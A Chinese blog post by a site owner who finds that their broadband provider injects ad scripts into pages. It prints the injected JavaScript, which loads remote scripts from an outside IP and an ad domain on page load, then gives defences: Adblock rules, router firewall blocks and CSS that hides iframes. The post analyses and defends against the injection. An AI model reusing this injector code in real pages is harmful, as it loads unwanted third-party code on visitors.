WEB网站站主屏蔽宽带运营商的内嵌(嵌入式)网页广告方法
最近在访问自己博客时,经常会在网页页面中弹出一些广告窗口:
广告出现的时间不定,难道是网站被黑了?审查网页代码,发现是网页的内容被修改了,如下图,有两个synhighligther.js:
在原网页中,只存在一个synhighligther.js,再查看内容,发现一个js中显示的是广告代码:
(function() {
try {
var ab = "http://120.25.126.60/wordpress/wp-includes/js/jquery/jquery.js?ver=1.11.0",
d = document;
_add = function(s) {
var k = d.createElement("script");
k.type = "text/javascript";
k.src = s;
var s = d.getElementsByTagName("script")[0];
s.parentNode.insertBefore(k, s)
};
ab.indexOf("?") > 0 ? ab += "&tcdsp": ab += "?tcdsp";
n = d.getElementsByTagName("script").length;
d.write("<script type='text/javascript' src='" + ab + "'></script>");
if (n == d.getElementsByTagName("script").length) _add(ab);
if (!window.abtd && !(!-[1, ] && !window.XMLHttpRequest)) {
window.abtd = 1;
window.onload = function() {
_add('http://api.dreamfull.cn/s/js/fshow.js?_qwert_sid=553102325&_zxcvb_pid=990274192119')
}
}
} catch(e) {}
})();
12
用http://icp.aizhan.com/dreamfull.cn/查询此外连网站的备案信息:
后来发现不只是访问我自己博客有这种现象,访问有些商业网站也有类似广告,而在网站源码中是没有这部分代码的,初步确认是宽带运营商联合广告商嵌入的广告,当用户浏览网页时,在网络中间设备上修改从网站返回的数据,在页面数据中加入垃圾广告代码:
在客户端可以启用浏览器的Adblock来拦截广告,如傲游浏览器点右下角ABP图标:
如果想精准打击,可以自定义过滤规则,如下图,彻底屏蔽此广告网站,在全局规则输入“http://*.dreamfull.cn/*”,世界从此清净了:
如果要更狠一点,就在自家的路由器上加入防火墙规则,屏蔽向广告网站发送的任何请求:
上图中的IP地址就是通过ping得到的广告网站的IP地址。在路由器上屏蔽的好处是如果你家里有多台电脑上网,不需要在每台计算机上进行设置,尤其是有手机等移动设备上网的情况。你在这里不仅仅可以过滤运营商的广告,还可以过滤网页中主动内嵌的广告,先审查网页,然后找出广告服务器地址,再加入路由器的防火墙过滤规则即可。
下图是访问几个商业网站后的拦截效果:
但是对于非专业的网民来说,他们会认为是你的网站加入的广告信息,影响用户体验,因此最好从网站加入屏蔽广告的代码。
因为广告是以iframes的形式插入网页的,可以在网页中加入屏蔽iframe显示的代码(需先确认你的网站没有应用iframe),可在网页调用的css文件中加入:
iframe{opacity:0;display:none;}
或直接在页面中的head标签之间添加:
<style type="text/css">
body iframe{
opacity:0;
display:none;
}
</style>
禁止iframe显示
wordpress的css路径:/wp-content/themes/xxx/style.css
discuz的css路径:/template/default/common/common.css,不过discuz本身应用了iframe,因此此方法不适用。待续...
评论:2